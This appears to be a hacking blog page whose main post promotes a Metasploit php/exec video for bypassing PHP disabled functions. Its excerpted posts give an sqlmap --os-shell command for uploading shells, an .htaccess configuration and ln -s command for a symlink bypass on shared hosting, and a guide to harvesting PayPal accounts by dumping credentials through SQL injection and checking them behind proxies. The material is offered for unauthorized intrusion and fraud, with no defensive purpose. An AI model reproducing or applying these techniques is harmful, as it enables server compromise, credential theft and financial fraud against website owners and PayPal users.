Bypass Disabled functions using metasploit

Par MG -
Hi guys

How to bypass disabled functions in a web server ?
How to run cmd when disabled functions are On ?
Here is a video that explains it

using metasploit payload php/exec !!


 
EnjoY

Commentaires

Enregistrer un commentaire

Posts les plus consultés de ce blog

RDP access & Shell uploading trough SQLMAP

Par MG -
Image
Hey Salam Guyz Today i'll tell y0uh  Shell Uploading through SQLmap its very easy if you have few thing ;) -1st- Vulnerable website with full path -2nd- file write privilleges -3rd- sqlmap -4th- Me :D start it open your sqlmap i have sqlmap with its GUI so work becomes very easy :D you can also use sqlmap shell without its GUI just type this ./sqlmap.py -u http:www.site.in/index.php?id=1 --os-shell link to use sqlmap with GUI Here 1st tick on the url box now paste the vulnerable link in target box than click on Get Query and you'll see website appears on the  "Query To Sqlmap box" like in picture Now 0pen "Access" tab in sqlmap than => operating System than => sqlshell and tick sqlshell  then again click on Get query Than click on start button than windows will pop up after 1-2 minutes  it will ask y0u f0r enter Web application Language like in this pic web server ...
Lire la suite

Bypass Symlink (Priv8)

Par MG -
Image
How you can bypass Symlink in linux webserver ? 1/ Create a folder   2/ Upload inside   ".htaccess"     CODE:   Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any   3/ Bypass manually ln -s /home/user/public_html/t0ph4cking.txt        Enjoy :D
Lire la suite

How to get alot of Paypal Account's

Par MG -
Image
Hi Guys today i'll show u how to get alot of paypal account's so u can use them to buy something in the net or doing much more things Okay let's Goo first u need to get a mail list with password  - How ? use sqli and access to database u can find mail list u can use havij it easy and help u to do auto sqli u can download havij from here  and here's a list of sqli dork => dork now when u got the maillist+pass u have to check it if has paypal accs so go to paypalchecker and put ur mailist there and socks5 u can get socks5 from here & click check it out EnjoY
Lire la suite